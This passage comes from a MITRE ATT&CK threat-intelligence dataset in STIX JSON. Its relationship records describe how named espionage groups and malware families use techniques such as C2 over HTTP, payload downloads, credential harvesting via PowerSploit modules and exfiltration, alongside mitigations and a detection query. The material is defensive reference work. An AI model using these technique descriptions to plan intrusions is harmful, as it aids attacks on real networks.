(2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-06-29T14:40:05.801Z","description":"[Naikon](https://attack.mitre.org/groups/G0019) has used administrator credentials for lateral movement in compromised networks.(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050","target_ref":"attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--213423ab-05cf-4354-9cea-d536686cf21d","type":"relationship","created":"2020-05-06T15:26:38.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"JPCert PLEAD Downloader June 2018","url":"https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html","description":"Tomonaga, S. (2018, June 8). PLEAD Downloader Used by BlackTech. Retrieved May 6, 2020."},{"source_name":"TrendMicro BlackTech June 2017","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/","description":"Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech’s Cyber Espionage Campaigns. Retrieved May 5, 2020."}],"modified":"2022-03-25T15:47:14.028Z","description":"[PLEAD](https://attack.mitre.org/software/S0435) has used HTTP for communications with command and control (C2) servers.(Citation: JPCert PLEAD Downloader June 2018)(Citation: TrendMicro BlackTech June 2017)","relationship_type":"uses","source_ref":"malware--b57f419e-8b12-49d3-886b-145383725dcd","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2134ec34-cce0-4361-b9d9-8cdee10d9c52","type":"relationship","created":"2020-02-21T20:46:36.916Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"win_xml_evt_log","url":"https://forensicswiki.xyz/wiki/index.php?title=Windows_XML_Event_Log_(EVTX)","description":"Forensics Wiki. (2021, June 19). Windows XML Event Log (EVTX). Retrieved September 13, 2021."}],"modified":"2021-10-19T13:37:31.214Z","description":"Ensure proper process and file permissions are in place to prevent adversaries from disabling or interfering with logging or deleting or modifying .evtx logging files. Ensure .evtx files, which are located at C:\\Windows\\system32\\Winevt\\Logs(Citation: win_xml_evt_log), have the proper file permissions for limited, legitimate access and audit policies for detection. ","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--213522ec-117d-4ac8-82c7-b297fe7c26b4","type":"relationship","created":"2020-11-13T16:34:54.551Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"IBM Grandoreiro April 2020","url":"https://securityintelligence.com/posts/grandoreiro-malware-now-targeting-banks-in-spain/","description":"Abramov, D. (2020, April 13). Grandoreiro Malware Now Targeting Banks in Spain. Retrieved November 12, 2020."},{"source_name":"ESET Grandoreiro April 2020","url":"https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/","description":"ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."}],"modified":"2020-11-13T21:33:02.252Z","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) can download its second stage from a hardcoded URL within the loader's code.(Citation: IBM Grandoreiro April 2020)(Citation: ESET Grandoreiro April 2020)","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--21382ce2-a504-4adf-81d2-dc1306285553","created":"2021-12-06T16:16:03.969Z","x_mitre_version":"1.0","external_references":[{"source_name":"CISA AA20-296A Berserk Bear December 2020","url":"https://www.cisa.gov/uscert/ncas/alerts/aa20-296a#revisions","description":"CISA. (2020, December 1). Russian State-Sponsored Advanced Persistent Threat Actor Compromises U.S. Government Targets. Retrieved December 9, 2021."},{"source_name":"Gigamon Berserk Bear October 2021","url":"https://vblocalhost.com/uploads/VB2021-Slowik.pdf","description":"Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE’S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. Retrieved December 6, 2021."},{"source_name":"US-CERT TA18-074A","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has used a batch script to gather folder and file names from victim hosts.(Citation: US-CERT TA18-074A)(Citation: Gigamon Berserk Bear October 2021)(Citation: CISA AA20-296A Berserk Bear December 2020)","modified":"2022-04-06T12:33:48.916Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--213916b1-76e8-4ebf-af96-fdd0f4a18e2b","created":"2022-03-30T14:26:51.838Z","x_mitre_version":"0.1","external_references":[{"source_name":"SanDisk SMART","description":"SanDisk. (n.d.). Self-Monitoring, Analysis and Reporting Technology (S.M.A.R.T.). Retrieved October 2, 2018."},{"source_name":"SmartMontools","url":"https://www.smartmontools.org/","description":"smartmontools. (n.d.). smartmontools. Retrieved October 2, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor for API calls associated with the use of device drivers and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) (Citation: SanDisk SMART) (Citation: SmartMontools) disk monitoring may reveal malicious manipulations of components. Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms.","modified":"2022-04-20T14:29:12.355Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--791481f8-e96a-41be-b089-a088763083d4","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--213b2924-9f77-4352-b92c-da83d00da353","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 VERMIN Jan 2018","description":"Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"}],"modified":"2020-03-17T02:47:21.599Z","description":"[VERMIN](https://attack.mitre.org/software/S0257) uses HTTP for C2 communications.(Citation: Unit 42 VERMIN Jan 2018)","relationship_type":"uses","source_ref":"malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--213ba52c-8404-4069-9c8b-3b017078d601","created":"2022-03-30T14:26:51.839Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-15T13:23:55.573Z","description":"It may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078).\n\nAnalytic 1 - Failed or unusual logon attempts using compromised credentials.\n\n (index=containers sourcetype=\"docker:events\" action=\"create\" container_name=\"*\" user!=\"root\") OR\n(index=containers sourcetype=\"kubernetes:api\" verb IN (\"create\", \"patch\", \"delete\") objectRef.resource IN (\"pods\", \"secrets\") user.username!=\"system:serviceaccount:*\")","relationship_type":"detects","source_ref":"x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e","target_ref":"attack-pattern--f8ef3a62-3f44-40a4-abca-761ab235c436","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--213ea969-5e60-4128-9794-a09fb5f5eb5e","created":"2022-04-07T17:45:30.991Z","x_mitre_version":"0.1","external_references":[{"source_name":"Check Point Warzone Feb 2020","url":"https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/","description":"Harakhavik, Y. (2020, February 3). Warzone: Behind the enemy lines. Retrieved December 17, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[WarzoneRAT](https://attack.mitre.org/software/S0670) can send collected victim data to its C2 server.(Citation: Check Point Warzone Feb 2020)","modified":"2022-04-07T17:45:30.991Z","relationship_type":"uses","source_ref":"malware--fde19a18-e502-467f-be14-58c71b4e7f4b","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--21409e96-7a2f-4109-b23e-1b43005aaaa4","type":"relationship","created":"2021-08-18T19:35:07.010Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Maze March 2020","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/","description":"Mundo, A. (2020, March 26). Ransomware Maze. Retrieved May 18, 2020."}],"modified":"2021-08-18T19:35:07.010Z","description":"[Maze](https://attack.mitre.org/software/S0449) has checked the language of the machine with function GetUserDefaultUILanguage and terminated execution if the language matches with an entry in the predefined list.(Citation: McAfee Maze March 2020)","relationship_type":"uses","source_ref":"malware--d9f7383c-95ec-4080-bbce-121c9384457b","target_ref":"attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2140f26b-a8ec-4a7e-9903-7df7ea5a1abb","created":"2024-07-25T17:26:11.915Z","revoked":false,"external_references":[{"source_name":"Symantec Daggerfly 2023","description":"Threat Hunter Team. (2023, April 20). Daggerfly: APT Actor Targets Telecoms Company in Africa. Retrieved July 25, 2024.","url":"https://symantec-enterprise-blogs.security.com/threat-intelligence/apt-attacks-telecoms-africa-mgbot"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T17:26:11.915Z","description":"[Daggerfly](https://attack.mitre.org/groups/G1034) has used [BITSAdmin](https://attack.mitre.org/software/S0190) to retrieve files from remote locations to run on victim systems.(Citation: Symantec Daggerfly 2023)","relationship_type":"uses","source_ref":"intrusion-set--f3be6240-f68e-47e1-90d2-ad8f3b3bb8a6","target_ref":"tool--64764dc6-a032-495f-8250-1e4c06bdc163","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--21454d73-1532-4656-9cd6-172f046613b3","type":"relationship","created":"2020-02-04T12:58:40.978Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-07T20:49:19.015Z","description":"If it is necessary that software must store credentials in the Registry, then ensure the associated accounts have limited permissions so they cannot be abused if obtained by an adversary.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--214b91f3-a71f-45b2-b85a-b1510d947806","type":"relationship","created":"2020-01-30T17:03:43.475Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-08-31T19:56:31.577Z","description":"Ensure that local administrator accounts have complex, unique passwords.","relationship_type":"mitigates","source_ref":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","target_ref":"attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--214e08d2-c8e2-4329-bd28-629058593cce","type":"relationship","created":"2022-03-30T14:26:51.871Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.871Z","description":"Monitor for newly executed processes that may attempt to gather information about the system language of a victim in order to infer the geographical location of that host.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--214e4329-960c-4c25-8620-b9573a6e06dc","type":"relationship","created":"2020-03-26T19:30:46.421Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Executable Installers are Vulnerable","url":"https://seclists.org/fulldisclosure/2015/Dec/34","description":"Stefan Kanthak. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation of privilege. Retrieved December 4, 2014."}],"modified":"2022-03-09T18:44:33.813Z","description":"Turn off UAC's privilege elevation for standard users [HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System] to automatically deny elevation requests, add: \"ConsentPromptBehaviorUser\"=dword:00000000. Consider enabling installer detection for all users by adding: \"EnableInstallerDetection\"=dword:00000001. This will prompt for a password for installation and also log the attempt. To disable installer detection, instead add: \"EnableInstallerDetection\"=dword:00000000. This may prevent potential elevation of privileges through exploitation during the process of UAC detecting the installer, but will allow the installation process to continue without being logged. (Citation: Executable Installers are Vulnerable)","relationship_type":"mitigates","source_ref":"course-of-action--2c2ad92a-d710-41ab-a996-1db143bb4808","target_ref":"attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--21511746-7782-42f2-ba77-b189777ef66c","created":"2022-04-12T15:19:25.436Z","x_mitre_version":"0.1","external_references":[{"source_name":"Talos Kimsuky Nov 2021","url":"https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html","description":"An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has exfiltrated stolen files and data to actor-controlled Blogspot accounts.(Citation: Talos Kimsuky Nov 2021)","modified":"2022-04-12T15:19:25.437Z","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--21537040-e89a-4908-95c2-2c5d905bcc2f","type":"relationship","created":"2019-05-02T01:07:37.006Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cylance Shaheen Nov 2018","url":"https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517","description":"Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019."}],"modified":"2019-06-12T20:05:18.351Z","description":"[Revenge RAT](https://attack.mitre.org/software/S0379) has a plugin for credential harvesting.(Citation: Cylance Shaheen Nov 2018)","relationship_type":"uses","source_ref":"malware--bdb27a1d-1844-42f1-a0c0-826027ae0326","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2155f707-de4f-4ef1-9982-1af90392af5f","type":"relationship","created":"2019-05-02T00:08:18.505Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019.","url":"https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517","source_name":"Cylance Shaheen Nov 2018"}],"modified":"2019-06-12T19:55:22.014Z","description":"[The White Company](https://attack.mitre.org/groups/G0089) has obfuscated their payloads through packing.(Citation: Cylance Shaheen Nov 2018)","relationship_type":"uses","source_ref":"intrusion-set--6688d679-ccdb-4f12-abf6-c7545dd767a4","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--215c28bd-3698-4962-b8a9-c632f27c9c82","type":"relationship","created":"2020-06-10T20:19:59.901Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.656Z","description":"[down_new](https://attack.mitre.org/software/S0472) has the ability to base64 encode C2 communications.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"malware--8be7c69e-d8e3-4970-9668-61de08e508cc","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--2160c4c2-9828-418e-ab5f-faec0593ea9d","created":"2022-03-30T14:26:51.838Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for unusual queries to the cloud provider's storage service. Activity originating from unexpected sources may indicate improper permissions are set that is allowing access to data. Additionally, detecting failed attempts by a user for a certain object, followed by escalation of privileges by the same user, and access to the same object may be an indication of suspicious activity.","modified":"2022-04-14T20:10:07.714Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--58ef998c-f3bf-4985-b487-b1005f5c05d1","target_ref":"attack-pattern--8565825b-21c8-4518-b75e-cbc4c717a156","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2161578b-44ef-4c44-90ad-2ee8920a3db8","type":"relationship","created":"2021-10-01T21:53:33.660Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity InkySquid BLUELIGHT August 2021","url":"https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/","description":"Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021."}],"modified":"2021-10-15T16:54:01.153Z","description":"[BLUELIGHT](https://attack.mitre.org/software/S0657) can download additional files onto the host.(Citation: Volexity InkySquid BLUELIGHT August 2021) ","relationship_type":"uses","source_ref":"malware--8bd47506-29ae-44ea-a5c1-c57e8a1ab6b0","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--21674a10-7168-420e-b916-2979a3ee3b5e","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Github Koadic","description":"Magius, J., et al. (2017, July 19). Koadic. Retrieved September 27, 2024.","url":"https://github.com/offsecginger/koadic"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-27T18:36:30.836Z","description":"[Koadic](https://attack.mitre.org/software/S0250) can perform process injection by using a reflective DLL.(Citation: Github Koadic)","relationship_type":"uses","source_ref":"tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--216ab163-818b-4303-beb6-a743b90c98bf","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Operation Groundbait","description":"Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf"}],"modified":"2019-07-26T20:45:14.639Z","description":"[Prikormka](https://attack.mitre.org/software/S0113) uses rundll32.exe to load its DLL.(Citation: ESET Operation Groundbait)","relationship_type":"uses","source_ref":"malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--216b3711-fc70-4029-aaec-a8f021c38bef","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://pentestlab.blog/2017/04/19/stored-credentials/","description":"netbiosX. (2017, April 19). Stored Credentials. Retrieved April 6, 2018.","source_name":"Pentestlab Stored Credentials"}],"modified":"2019-04-24T23:43:08.068Z","description":"[PowerSploit](https://attack.mitre.org/software/S0194) has several modules that search the Windows Registry for stored credentials: Get-UnattendedInstallFile, Get-Webconfig, Get-ApplicationHost, Get-SiteListPassword, Get-CachedGPPPassword, and Get-RegistryAutoLogon.(Citation: Pentestlab Stored Credentials)","relationship_type":"uses","source_ref":"tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d","target_ref":"attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--216c15b0-3091-49f2-ba85-356d56265671","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.us-cert.gov/ncas/alerts/TA17-318A","description":"US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA – North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.","source_name":"US-CERT FALLCHILL Nov 2017"}],"modified":"2019-09-09T19:15:45.649Z","description":"(Citation: US-CERT FALLCHILL Nov 2017)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"malware--fece06b7-d4b1-42cf-b81a-5323c917546e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--216e5287-2cea-4bd0-b109-24b205f848b3","type":"relationship","created":"2020-12-12T17:25:29.540Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SentinelLabs Agent Tesla Aug 2020","url":"https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/","description":"Walter, J. (2020, August 10). Agent Tesla | Old RAT Uses New Tricks to Stay on Top. Retrieved December 11, 2020."}],"modified":"2020-12-16T16:15:43.313Z","description":"[Agent Tesla](https://attack.mitre.org/software/S0331) has exploited Office vulnerabilities such as CVE-2017-11882 and CVE-2017-8570 for execution during delivery.(Citation: SentinelLabs Agent Tesla Aug 2020) ","relationship_type":"uses","source_ref":"malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--21711eb2-eddd-40f5-8c20-dc50495c102d","type":"relationship","created":"2020-05-06T15:26:38.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"JPCert PLEAD Downloader June 2018","url":"https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html","description":"Tomonaga, S. (2018, June 8). PLEAD Downloader Used by BlackTech. Retrieved May 6, 2020."}],"modified":"2020-05-06T15:26:38.849Z","description":"[PLEAD](https://attack.mitre.org/software/S0435) has the ability to execute shell commands on the compromised host.(Citation: JPCert PLEAD Downloader June 2018)","relationship_type":"uses","source_ref":"malware--b57f419e-8b12-49d3-886b-145383725dcd","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--21717b6b-1fc6-4619-9877-bb36237a8efd","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Villeneuve 2011","description":"Villeneuve, N., Sancho, D. (2011). THE “LURID” DOWNLOADER. Retrieved November 12, 